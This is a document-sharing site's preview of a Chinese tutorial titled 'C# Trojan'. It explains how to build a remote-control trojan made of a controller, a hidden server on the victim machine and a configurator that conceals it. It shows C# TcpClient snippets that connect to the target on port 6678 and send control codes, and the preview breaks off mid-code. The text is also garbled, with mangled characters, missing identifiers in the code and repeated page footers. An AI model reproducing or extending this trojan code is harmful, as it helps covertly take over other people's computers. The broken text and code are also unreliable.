1 / 8
文档名称:

C#木马.doc

格式:doc   大小:24KB   页数:8页
下载后只包含 1 个 DOC 格式的文档,没有任何的图纸或源代码,查看文件列表

如果您已付费下载过本站文档,您可以点这里二次下载

分享

预览

C#木马.doc

上传人:相惜 2021/10/21 文件大小:24 KB

下载得到文件列表

C#木马.doc

文档介绍

文档介绍:编辑版word
页脚下载后可删除,如有侵权请告知删除!
编辑版word
木马的介绍
因为本文是探讨木马程序,所以在介绍之前有一些木马构成的根本知识事先说明。一个完整的木马系统由硬件局部,软件局部和具体连接局部组成。这里主要对软件局部介绍,它主要有控制端程序、木马程序〔后台效劳程序〕、木马配制程序组成。控制端用以远程控制效劳端的程序;木马程序是潜入效劳端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在效劳端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制效劳器,效劳器后台运行,修改注册表到达控制的目的。技术不是很难的,主要表达C#的网络编程和注册表的修改。
控制端开发:
控制端向效劳器发出一段控制码,效劳端〔木马程序〕收到控制码后,根据控制的要求,完成指定的要求,如果效劳器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点
连接请求
,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
//
private void button7_Click(object sender, e)
{
//记录操作,在richTextBox控件中增加操作信息
("请求连接" + +" ");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(,port);
}
catch
{
("效劳器不在线!确定是否输入主机名称.");
("效劳器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反响,如果有返回那么显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, e)
{
//纪录操作
编辑版word
页脚下载后可删除,如有侵权请告知删除!
编辑版word
("测试连接" +" ");
try
{
stream = ();
if()
{
//发送控制码
string control = "jiance";
byte[] by =